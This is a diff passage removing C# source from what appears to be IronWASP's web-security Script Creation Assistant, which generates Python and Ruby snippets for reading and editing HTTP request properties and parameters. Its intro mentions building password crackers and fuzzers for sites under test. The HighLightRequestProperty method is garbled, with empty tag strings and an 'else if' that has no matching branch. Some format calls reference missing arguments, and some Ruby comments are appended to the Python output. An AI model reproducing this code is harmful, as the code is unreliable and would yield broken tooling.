decode", "hex" }); - ToolsItemGrid.Rows.Add(new object[] { false, "Perform HTML encode and decode", "html" }); - ToolsItemGrid.Rows.Add(new object[] { false, "Perform URL encode and decode", "url" }); - ToolsItemGrid.Rows.Add(new object[] { false, "Create MD5, SHA1, SHA256, SHA384 or SHA512 hash", "hash" }); - ToolsItemGrid.Rows.Add(new object[] { false, "Compare two strings", "diff" }); - ToolsItemGrid.Rows.Add(new object[] { false, "Run external executable files", "exec" }); - ToolsItemGrid.Rows.Add(new object[] { false, "Debug Plugins, Modules etc", "debug" }); - - ReqOActionsGrid.Rows.Clear(); - ReqOActionsGrid.Rows.Add(new object[] { false, "Create a copy or clone of a Request", "GetClone", "Creates a new identical copy of the request object so that you can modify the clone without affecting the original." }); - ReqOActionsGrid.Rows.Add(new object[] { false, "Convert this Request as a string", "ToBinaryString", "Convert the entire Request to a string value. Can also get the request object back from this string. Useful to embed requests in scripts." }); - ReqOActionsGrid.Rows.Add(new object[] { false, "Send Request to Manual Testing", "ToTestUi", "Send a Request from the Scripting shell to the ManualTesting section UI. A new group is created and the request is displayed there." }); - - ResOActionsGrid.Rows.Clear(); - ResOActionsGrid.Rows.Add(new object[] { false, "Render the Response Body", "Render", "Renders the Response body content in a seperate UI window using IE's rendering engine." }); - ResOActionsGrid.Rows.Add(new object[] { false, "Save the Response Body to a file", "Save", "Save the entire body of the response to a file on the system." }); - - FuzzParameterTypeGrid.Rows.Clear(); - FuzzParameterTypeGrid.Rows.Add(new object[] { false, "UrlPathParts" }); - FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Query" }); - FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Body" }); - FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Cookie" }); - FuzzParameterTypeGrid.Rows.Add(new object[] { false, "Headers" }); - - FuzzSessionPluginGrid.Rows.Clear(); - FuzzSessionPluginGrid.Rows.Add(new object[] { true, "---" }); - foreach (string Name in SessionPlugin.List()) - { - FuzzSessionPluginGrid.Rows.Add(new object[] { false, Name }); - } - - ScanParameterTypeGrid.Rows.Clear(); - ScanParameterTypeGrid.Rows.Add(new object[] { false, "UrlPathParts" }); - ScanParameterTypeGrid.Rows.Add(new object[] { false, "Query" }); - ScanParameterTypeGrid.Rows.Add(new object[] { false, "Body" }); - ScanParameterTypeGrid.Rows.Add(new object[] { false, "Cookie" }); - ScanParameterTypeGrid.Rows.Add(new object[] { false, "Headers" }); - - ScanSessionPluginGrid.Rows.Clear(); - ScanSessionPluginGrid.Rows.Add(new object[] { true, "---" }); - foreach (string Name in SessionPlugin.List()) - { - ScanSessionPluginGrid.Rows.Add(new object[] { false, Name }); - } - - ScanPluginsGrid.Rows.Clear(); - foreach (string Name in ActivePlugin.List()) - { - ScanPluginsGrid.Rows.Add(new object[] { false, Name }); - } - - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - string IntroMessage = @">>Welcome to the Script Creation Assistant>> -You don't have to be an expert to do scripting with IronWASP. If you just know the very basics of programming like what are variables, methods, for loops etc then you are good to go. This assistant will help you learn how to create scripts using the IronWASP API and turn your ideas in to working code. - -You can use the Scripting Shell built in to IronWASP to run these scripts. - -There are different sections here, in each section you define what you are trying to do and the script to perform that action will be created for you when you click on the 'Generate Code' button. - -You can put the code from various sections together to create the scripts to fit your unique needs. - -Let us look at some scenarios: - -You want to analyze the HTTP logs to identify certain issues: - 1: Use the script from the 'Log Analysis' section to read through the logs one at a time - 2: Use the Request and Response sections to find out how to read the different properties and values from the Request and Response of the log and analyze them. - -You want to create a Password cracker for a site you are testing: - 1: Use the Request section to learn how to create and send the login request - 2: The Request section will also show you how to change the values of the username and password parameters - 3: The Response section will show you how to read the response properties like status code, headers and how to extract data from the various HTML elements - -You want to create a custom fuzzer or scanner to check for an issue: - 1: Use the Request section to create a request object to fuzz or test - 2: Use the Fuzzer section to create sample script that shows how you can inject your payloads in different sections of this request and get the response - 3: Use the Response section to learn how you can analyze this response and identify if your payload had any effect -"; - SB.AppendLine(Tools.RtfSafe(IntroMessage)); - IntroRTB.Rtf = SB.ToString(); - } - - private void SRCreateCodeBtn_Click(object sender, EventArgs e) - { - ShowSRError(""); - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - - if (SRSendWithLogSourceRB.Checked) - { - try - { - Request Req = new Request("http://google.com"); - Req.SetSource(SRLogSourceTB.Text); - string LogSource = SRLogSourceTB.Text; - Py.AppendLine("#The LogSource is set"); - Rb.AppendLine("#The LogSource is set"); - - Py.AppendLine(string.Format(@"req.SetSource(""{0}"")", LogSource)); - Rb.AppendLine(string.Format(@"req.set_source(""{0}"")", LogSource)); - } - catch(Exception Exp) - { - ShowSRError(Exp.Message); - } - } - Py.AppendLine("#Request is sent and the response stored in a variable named 'res'"); - Rb.AppendLine("#Request is sent and the response stored in a variable named 'res'"); - - Py.AppendLine("res = req.Send()"); - Rb.AppendLine("res = req.send_req"); - - if (SRFollowRedirectRB.Checked) - { - Py.AppendLine("#Check if the response is a redirect"); - Py.AppendLine("if res.IsRedirect:"); - Py.Append(" "); Py.AppendLine("#Get the redirect Request and store it in a variable named 'rd_req'. The redirect is followed by sending 'rd_req'"); - Py.Append(" "); Py.AppendLine("rd_req = req.GetRedirect(res)"); - Py.Append(" "); Py.AppendLine("final_res = rd_req.Send()"); - - Rb.AppendLine("#Check if the response is a redirect"); - Rb.AppendLine("if res.is_redirect"); - Rb.Append(" "); Rb.AppendLine("#Get the redirect Request and store it in a variable named 'rd_req'. The redirect is followed by sending 'rd_req'"); - Rb.Append(" "); Rb.AppendLine("rd_req = req.get_redirect(res)"); - Rb.Append(" "); Rb.AppendLine("final_res = rd_req.send_req"); - Rb.AppendLine("end"); - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - private void ShowHideCommentsLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - try - { - if (ShowHideCommentsLL.Text.Equals("Show Comments")) - { - PythonCTB.Text = FullPyCode; - RubyCTB.Text = FullRbCode; - ShowHideCommentsLL.Text = "Hide Comments"; - } - else - { - string[] StrippedCode = StripComments(new string[] { FullPyCode, FullRbCode }); - PythonCTB.Text = StrippedCode[0]; - RubyCTB.Text = StrippedCode[1]; - ShowHideCommentsLL.Text = "Show Comments"; - } - } - catch(Exception Exp) - { - ShowCodeError("There was an error when hiding comments, please try again."); - IronException.Report("Error Hiding Comments in Script Creation Assistant", Exp); - } - } - - string[] StripComments(string[] FullCode) - { - string[] StrippedCode = new string[2]; - for(int i =0; i < 2; i++) - { - StringBuilder Code = new StringBuilder(); - foreach (string Line in FullCode[i].Split(new string[] { Environment.NewLine }, StringSplitOptions.None)) - { - if (!Line.TrimStart().StartsWith("#")) Code.AppendLine(Line); - } - StrippedCode[i] = Code.ToString(); - } - return StrippedCode; - } - - private void RPPParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (RPPParameterTypeGrid.SelectedRows == null) return; - if (RPPParameterTypeGrid.SelectedRows.Count == 0) return; - foreach (DataGridViewRow Row in RPPParameterTypeGrid.Rows) - { - if (Row.Index == RPPParameterTypeGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - RPPParameterDescriptionTB.Text = Row.Cells[2].Value.ToString(); - if (Row.Cells[1].Value.ToString().Equals("UrlPathParts")) - { - RPPActionGrid.Rows.Clear(); - RPPActionGrid.Rows.Add(new object[] { false, "Read all url path part values" }); - RPPActionGrid.Rows.Add(new object[] { false, "Edit an url path part value" }); - RPPActionGrid.Rows.Add(new object[] { false, "Add a new url path part value" }); - RPPActionGrid.Rows.Add(new object[] { false, "Get the number of url path part values" }); - RPPActionGrid.Rows.Add(new object[] { false, "Remove an url path part value" }); - RPPActionGrid.Rows.Add(new object[] { false, "Remove all url path part values" }); - } - else - { - RPPActionGrid.Rows.Clear(); - RPPActionGrid.Rows.Add(new object[] { false, "Read all parameter names" }); - RPPActionGrid.Rows.Add(new object[] { false, "Read a parameter's value" }); - RPPActionGrid.Rows.Add(new object[] { false, "Edit a parameter's value" }); - RPPActionGrid.Rows.Add(new object[] { false, "Add a new parameter" }); - RPPActionGrid.Rows.Add(new object[] { false, "Contains a parameter" }); - RPPActionGrid.Rows.Add(new object[] { false, "Get the number of parameters" }); - RPPActionGrid.Rows.Add(new object[] { false, "Remove a parameter" }); - RPPActionGrid.Rows.Add(new object[] { false, "Remove all parameters" }); - - } - - RPPActionGrid.Visible = true; - RPPQuestionGB.Visible = false; - RPPParameterNameLbl.Visible = false; - RPPParameterNameTB.Visible = false; - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void RPPActionGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (RPPActionGrid.SelectedRows == null) return; - if (RPPActionGrid.SelectedRows.Count == 0) return; - string ParameterType = ""; - foreach (DataGridViewRow Row in RPPParameterTypeGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - ParameterType = Row.Cells[1].Value.ToString(); - break; - } - } - foreach (DataGridViewRow Row in RPPActionGrid.Rows) - { - if (Row.Index == RPPActionGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - if (Row.Cells[1].Value.ToString().StartsWith("Read all")) - { - RPPQuestionGB.Visible = false; - RPPParameterNameLbl.Visible = false; - RPPParameterNameTB.Visible = false; - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - } - else if (Row.Cells[1].Value.ToString().StartsWith("Read a ")) - { - RPPQuestionGB.Visible = true; - RPPQuestionGB.Text = "If there are more than one parameter values with this name then what do you wish to do?"; - RPPAnswerOneRB.Text = "Get only the first value"; - RPPAnswerTwoRB.Text = "Get all values in a list"; - RPPAnswerOneRB.Checked = true; - - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - - RPPParameterNameLbl.Text = "Enter Parameter Name:"; - RPPParameterNameLbl.Visible = true; - RPPParameterNameTB.Visible = true; - } - else if (Row.Cells[1].Value.ToString().StartsWith("Edit a")) - { - if (ParameterType.Equals("UrlPathParts")) - { - RPPQuestionGB.Visible = false; - - RPPParameterValueLbl.Visible = true; - RPPParameterValueTB.Visible = true; - - RPPParameterNameLbl.Text = "UrlPathPart Position"; - - RPPParameterNameLbl.Visible = true; - RPPParameterNameTB.Visible = true; - } - else - { - RPPQuestionGB.Visible = false; - RPPParameterNameLbl.Text = "Enter Parameter Name:"; - RPPParameterNameLbl.Visible = true; - RPPParameterNameTB.Visible = true; - RPPParameterValueLbl.Visible = true; - RPPParameterValueTB.Visible = true; - } - } - else if (Row.Cells[1].Value.ToString().StartsWith("Contains a ")) - { - RPPQuestionGB.Visible = false; - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - - RPPParameterNameLbl.Text = "Enter Parameter Name:"; - RPPParameterNameLbl.Visible = true; - RPPParameterNameTB.Visible = true; - } - else if (Row.Cells[1].Value.ToString().StartsWith("Add a ")) - { - if (ParameterType.Equals("UrlPathParts")) - { - RPPQuestionGB.Visible = false; - - RPPParameterValueLbl.Visible = true; - RPPParameterValueTB.Visible = true; - - RPPParameterNameLbl.Visible = false; - RPPParameterNameTB.Visible = false; - } - else - { - RPPQuestionGB.Visible = true; - RPPQuestionGB.Text = "If a parameter with this name already exists then what do you wish to do?"; - RPPAnswerOneRB.Text = "Overwrite it"; - RPPAnswerTwoRB.Text = "Add another parameter with same name"; - RPPAnswerOneRB.Checked = true; - - RPPParameterNameLbl.Text = "Enter Parameter Name:"; - RPPParameterNameLbl.Visible = true; - RPPParameterNameTB.Visible = true; - RPPParameterValueLbl.Visible = true; - RPPParameterValueTB.Visible = true; - } - } - else if (Row.Cells[1].Value.ToString().StartsWith("Get the")) - { - RPPQuestionGB.Visible = false; - RPPParameterNameLbl.Visible = false; - RPPParameterNameTB.Visible = false; - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - } - else if (Row.Cells[1].Value.ToString().StartsWith("Remove a ")) - { - if (ParameterType.Equals("UrlPathParts")) - { - RPPQuestionGB.Visible = false; - - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - - RPPParameterNameLbl.Text = "UrlPathPart Position"; - - RPPParameterNameLbl.Visible = true; - RPPParameterNameTB.Visible = true; - } - else - { - RPPQuestionGB.Visible = false; - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - - RPPParameterNameLbl.Text = "Enter Parameter Name:"; - RPPParameterNameLbl.Visible = true; - RPPParameterNameTB.Visible = true; - } - } - else if (Row.Cells[1].Value.ToString().StartsWith("Remove all")) - { - RPPQuestionGB.Visible = false; - RPPParameterNameLbl.Visible = false; - RPPParameterNameTB.Visible = false; - RPPParameterValueLbl.Visible = false; - RPPParameterValueTB.Visible = false; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void RPPCreateCodeBtn_Click(object sender, EventArgs e) - { - ShowRPPError(""); - if (!RPPActionGrid.Visible) - { - ShowRPPError("No parameter sections were selected."); - return; - } - string ParameterType = ""; - foreach (DataGridViewRow Row in RPPParameterTypeGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - ParameterType = Row.Cells[1].Value.ToString(); - break; - } - } - if (!RPPActionGrid.Visible) - { - ShowRPPError("No parameter sections were selected."); - return; - } - string Action = ""; - foreach (DataGridViewRow Row in RPPActionGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Action = Row.Cells[1].Value.ToString(); - break; - } - } - if (RPPParameterNameTB.Visible) - { - if(RPPParameterNameTB.Text.Trim().Length == 0) - { - ShowRPPError("Parameter name cannot be empty"); - return; - } - if (ParameterType.Equals("UrlPathParts")) - { - try - { - Int32.Parse(RPPParameterNameTB.Text.Trim()); - } - catch - { - ShowRPPError("UrlPathPart position must be a number"); - return; - } - } - } - - string ParameterName = RPPParameterNameTB.Text; - string ParameterValue = RPPParameterValueTB.Text; - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - - if (Action.StartsWith("Remove all")) - { - if (ParameterType.Equals("UrlPathParts")) - { - Py.AppendLine("#UrlPathParts is a .NET List type so to remove all url path parts we get the list value, clear it and assign the empty list to the UrlPathParts property."); - Py.AppendLine("upp = req.UrlPathParts"); - Py.AppendLine("upp.Clear()"); - Py.AppendLine("req.UrlPathParts = upp"); - - Py.AppendLine("#url_path_parts is a .NET List type so to remove all url path parts we get the list value, clear it and assign the empty list to the url_path_parts property."); - Rb.AppendLine("upp = req.url_path_parts"); - Rb.AppendLine("upp.clear"); - Rb.AppendLine("req.url_path_parts = upp"); - } - else - { - Py.AppendLine(string.Format("req.{0}.RemoveAll()", ParameterType)); - Rb.AppendLine(string.Format("req.{0}.remove_all", ParameterType.ToLower())); - } - } - else if (Action.StartsWith("Get the ")) - { - if (ParameterType.Equals("UrlPathParts")) - { - Py.AppendLine("print 'UrlPathParts count - ' + str(req.UrlPathParts.Count)"); - Rb.AppendLine("puts 'UrlPathParts count - ' + req.url_path_parts.count.to_s"); - } - else - { - Py.AppendLine(string.Format("print '{0} parameters count - ' + str(req.{0}.Count)", ParameterType)); - Rb.AppendLine(string.Format("puts '{0} parameters count - ' + req.{0}.count.to_s", ParameterType.ToLower())); - } - } - else if (Action.StartsWith("Remove a")) - { - if (ParameterType.Equals("UrlPathParts")) - { - Py.AppendLine("#UrlPathParts is a .NET List type so we use the RemoveAt method of the .NET list class to remove the item"); - Py.AppendLine("upp = req.UrlPathParts"); - Py.AppendLine(string.Format("upp.RemoveAt({1})", ParameterName)); - Py.AppendLine("req.UrlPathParts = upp"); - - Py.AppendLine("#UrlPathParts is a .NET List type but we can still use the delete_at method to remove the item"); - Rb.AppendLine("upp = req.url_path_parts"); - Rb.AppendLine(string.Format("upp.delete_at({0})", ParameterName)); - Rb.AppendLine("req.url_path_parts = upp"); - } - else - { - Py.AppendLine(string.Format(@"req.{0}.Remove(""{1}"")", ParameterType, ParameterName.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.{0}.remove(""{1}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""))); - } - } - else if (Action.StartsWith("Contains a")) - { - Py.AppendLine(string.Format(@"if req.{0}.Has(""{1}""):", ParameterType, ParameterName.Replace("\"", "\\\""))); - Py.Append(" "); Py.AppendLine(string.Format(@"print ""{0} contains a parameter named '{1}'""", ParameterType, ParameterName.Replace("'", "\\'"))); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine(string.Format(@"print ""{0} does not contain a parameter named '{1}'""", ParameterType, ParameterName.Replace("'", "\\'"))); - - Rb.AppendLine(string.Format(@"if req.{0}.has(""{1}"")", ParameterType.ToLower(), ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format(@"puts ""{0} contains a parameter named '{1}'""", ParameterType.ToLower(), ParameterName.Replace("'", "\\'"))); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"puts ""{0} does not contain a parameter named '{1}'""", ParameterType.ToLower(), ParameterName.Replace("'", "\\'"))); - Rb.AppendLine("end"); - } - else if (Action.StartsWith("Read all")) - { - if (ParameterType.Equals("UrlPathParts")) - { - Py.AppendLine("upp = req.UrlPathParts"); - Py.AppendLine("#UrlPathParts is a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for v in upp:"); - Py.Append(" "); Py.AppendLine("print v"); - - Rb.AppendLine("upp = req.url_path_parts"); - Py.AppendLine("#UrlPathParts is a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for v in upp"); - Rb.Append(" "); Rb.AppendLine("puts v"); - Rb.AppendLine("end"); - } - else - { - Py.AppendLine(string.Format(@"names = req.{0}.GetNames()", ParameterType)); - Py.AppendLine("#The names are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for n in names:"); - Py.Append(" "); Py.AppendLine("print n"); - - Rb.AppendLine(string.Format(@"names = req.{0}.get_names", ParameterType.ToLower())); - Rb.AppendLine("#The names are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for n in names"); - Rb.Append(" "); Rb.AppendLine("puts n"); - Rb.AppendLine("end"); - } - } - else if (Action.StartsWith("Read a")) - { - if (RPPAnswerOneRB.Checked) - { - Py.AppendLine(string.Format(@"value = req.{0}.Get(""{1}"")", ParameterType, ParameterName.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"value = req.{0}.get(""{1}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""))); - } - else - { - Py.AppendLine(string.Format(@"values = req.{0}.GetAll(""{1}"")", ParameterType, ParameterName.Replace("\"", "\\\""))); - Py.AppendLine("#The values are returned as a .NET List type but you can iterate over it like Python list."); - Py.AppendLine("for v in values:"); - Py.Append(" "); Py.AppendLine("print v"); - - Rb.AppendLine(string.Format(@"values = req.{0}.get_all(""{1}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""))); - Py.AppendLine("#The values are returned as a .NET List type but you can iterate over it like Ruby list."); - Rb.AppendLine("for v in values"); - Rb.Append(" "); Rb.AppendLine("puts v"); - Rb.AppendLine("end"); - } - } - else if (Action.StartsWith("Edit a")) - { - if (ParameterType.Equals("UrlPathParts")) - { - Py.AppendLine("upp = req.UrlPathParts"); - Py.AppendLine(string.Format(@"upp[{0}] = ""{1}""", ParameterName, ParameterValue.Replace("\"", "\\\""))); - Py.AppendLine("req.UrlPathParts = upp"); - - Rb.AppendLine("upp = req.url_path_parts"); - Rb.AppendLine(string.Format(@"upp[{0}] = ""{1}""", ParameterName, ParameterValue.Replace("\"", "\\\""))); - Rb.AppendLine("req.url_path_parts = upp"); - } - else - { - Py.AppendLine(string.Format(@"req.{0}.Set(""{1}"", ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); - Py.AppendLine("#If there were more than one parameter with the same name then use SetAt(name, position, value) method."); - Py.AppendLine(string.Format(@"#Eg: req.{0}.SetAt(""{1}"", 0, ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"req.{0}.set(""{1}"", ""{2}"")", ParameterType.ToLower(), ParameterName, ParameterValue)); - Rb.AppendLine("#If there were more than one parameter with the same name then use set_at(name, position, value) method."); - Rb.AppendLine(string.Format(@"# Eg: req.{0}.set_at(""{1}"", 0, ""{2}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); - - } - } - else if (Action.StartsWith("Add a")) - { - if (ParameterType.Equals("UrlPathParts")) - { - Py.AppendLine("upp = req.UrlPathParts"); - Py.AppendLine("#The values are returned as a .NET List type so we use the Add method of the .NET list to add a new parameter"); - Py.AppendLine(string.Format(@"upp.Add(""{0}"")", ParameterValue.Replace("\"", "\\\""))); - Py.AppendLine("req.UrlPathParts = upp"); - - Rb.AppendLine("upp = req.url_path_parts"); - Rb.AppendLine("#The values are returned as a .NET List type so we use the Add method of the .NET list to add a new parameter"); - Rb.AppendLine(string.Format(@"upp.add(""{1}"")", ParameterValue.Replace("\"", "\\\""))); - Rb.AppendLine("req.url_path_parts = upp"); - } - else - { - if (RPPAnswerOneRB.Checked) - { - Py.AppendLine(string.Format(@"req.{0}.Set(""{1}"", ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"req.{0}.set(""{1}"", ""{2}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); - } - else - { - Py.AppendLine(string.Format(@"req.{0}.Add(""{1}"", ""{2}"")", ParameterType, ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); - - Rb.AppendLine(string.Format(@"req.{0}.add(""{1}"", ""{2}"")", ParameterType.ToLower(), ParameterName.Replace("\"", "\\\""), ParameterValue.Replace("\"", "\\\""))); - } - } - } - ShowCode(Py.ToString(), Rb.ToString()); - } - - void HighLightRequestProperty(string StartPropertyTag, bool Full) - { - string[] Tags = new string[] { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", - "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}; - - string FullTemplate = @"POST /aaa/bbb/ccc.aspx?ddd=111&eee=222 -Host: ironwasp.org -Cookie: fff=333; ggg=444 -Content-Type: application/x-www-form-urlencoded -Content-Length: 15 - -hhh=555&iii=666 -"; - - string UrlTemplate = ">https://ironwasp.org/aaa/bbb/ccc.aspx?ddd=111&eee=222"; - string ToShow = ""; - - if(Full) - ToShow = FullTemplate; - else - ToShow = UrlTemplate; - - string EndPropertyTag = StartPropertyTag.Replace("<", ">"); - else if (Tag.Equals(EndPropertyTag)) - ToShow = ToShow.Replace(Tag, ">"); - else - ToShow = ToShow.Replace(Tag, ""); - } - - StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); - SB.Append(Tools.RtfSafe(ToShow)); - SB.Append(@" \par"); - ROPDisplayRTB.Rtf = SB.ToString(); - } - - private void ROPParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ROPParameterTypeGrid.SelectedRows == null) return; - if (ROPParameterTypeGrid.SelectedRows.Count == 0) return; - - ROPQuestionGB.Text = "Do you want to read or modify this value?"; - ROPQuestionGB.Visible = false; - ROPAnswerEditRB.Enabled = true; - ROPCreateCodeBtn.Enabled = true; - - if (ROPAnswerEditRB.Checked) - { - ROPParameterValueLbl.Visible = true; - ROPParameterValueTB.Visible = true; - } - - foreach (DataGridViewRow Row in ROPParameterTypeGrid.Rows) - { - if (Row.Index == ROPParameterTypeGrid.SelectedRows[0].Index) - { - Row.Cells[0].Value = true; - ROPParameterDescriptionTB.Text = Row.Cells[4].Value.ToString(); - HighLightRequestProperty(Row.Cells[3].Value.ToString(), Row.Cells[2].Value.ToString() == "full"); - - string Property = Row.Cells[1].Value.ToString(); - - switch (Property) - { - case("File"): - case ("BaseUrl"): - case ("UrlDir"): - case ("BodyLength"): - case ("HasBody"): - case ("IsBinary"): - ROPQuestionGB.Text = "This is a read-only value, cannot be modified."; - ROPQuestionGB.Visible = true; - ROPAnswerReadRB.Checked = true; - ROPAnswerEditRB.Enabled = false; - break; - case ("UrlPathParts"): - case ("Query Parameters"): - case ("Body Parameters"): - case ("Cookie Parameters"): - case ("Header Parameters"): - ROPCreateCodeBtn.Enabled = false; - ROPParameterValueLbl.Visible = false; - ROPParameterValueTB.Visible = false; - break; - case("SSL"): - ROPParameterValueLbl.Visible = false; - ROPParameterValueTB.Visible = false; - ROPQuestionGB.Visible = true; - break; - default: - ROPQuestionGB.Visible = true; - break; - } - } - else - { - Row.Cells[0].Value = false; - } - } - } - - private void ROPCreateCodeBtn_Click(object sender, EventArgs e) - { - ShowROPError(""); - - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - Py.AppendLine(); - Rb.AppendLine(); - Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); - - string Property = ""; - string Value = ROPParameterValueTB.Text; - foreach (DataGridViewRow Row in ROPParameterTypeGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - Property = Row.Cells[1].Value.ToString(); - } - } - if (Property.Length == 0) - { - ShowROPError("No property selected."); - return; - } - switch(Property) - { - case ("Method"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request method is ' + req.Method"); - Rb.AppendLine("puts 'Request method is ' + req.http_method"); - } - else - { - Py.AppendLine(string.Format(@"req.Method = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.http_method = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("SSL"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("if req.SSL:"); - Py.Append(" "); Py.AppendLine("print 'Request uses SSL'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Request does not use SSL'"); - - Rb.AppendLine("if req.ssl"); - Rb.Append(" "); Rb.AppendLine("puts 'Request uses SSL'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Request does not use SSL'"); - Rb.AppendLine("end"); - } - else - { - Py.AppendLine("req.SSL = True"); - Rb.AppendLine("req.ssl = true"); - } - break; - case ("HasBody"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("if req.HasBody:"); - Py.Append(" "); Py.AppendLine("print 'Request has a body'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Request does not have a body'"); - - Rb.AppendLine("if req.has_body"); - Rb.Append(" "); Rb.AppendLine("puts 'Request has a body'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Request does not have a body'"); - Rb.AppendLine("end"); - } - break; - case ("IsBinary"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("if req.IsBinary:"); - Py.Append(" "); Py.AppendLine("print 'Request body is a binary value'"); - Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine("print 'Request body is not a binary value'"); - - Rb.AppendLine("if req.is_binary"); - Rb.Append(" "); Rb.AppendLine("puts 'Request body is a binary value'"); - Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine("puts 'Request body is not a binary value'"); - Rb.AppendLine("end"); - } - break; - case ("Host"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request host is ' + req.Host"); - Rb.AppendLine("puts 'Request host is ' + req.host"); - } - else - { - Py.AppendLine(string.Format(@"req.Host = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.host = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("File"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request file extension is ' + req.File"); - Rb.AppendLine("puts 'Request file extension is ' + req.file"); - } - break; - case ("FullUrl"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request full url is ' + req.FullUrl"); - Rb.AppendLine("puts 'Request full url is ' + req.full_url"); - } - else - { - Py.AppendLine(string.Format(@"req.FullUrl = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.full_url = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("Url"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request url is ' + req.Url"); - Rb.AppendLine("puts 'Request url is ' + req.url"); - } - else - { - Py.AppendLine(string.Format(@"req.Url = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.url = ""{0}""", Value.Replace("\"", "\\\""))); - } - break; - case ("BaseUrl"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request base url is ' + req.BaseUrl"); - Rb.AppendLine("puts 'Request base url is ' + req.base_url"); - } - break; - case ("UrlPath"): - if (ROPAnswerReadRB.Checked) - { - Py.AppendLine("print 'Request url path is ' + req.UrlPath"); - Rb.AppendLine("puts 'Request url path is ' + req.url_path"); - } - else - { - Py.AppendLine(string.Format(@"req.UrlPath = ""{0}""", Value.Replace("\"", "\\\""))); - Rb.AppendLine(string.Format(@"req.url_path = ""{0}""", 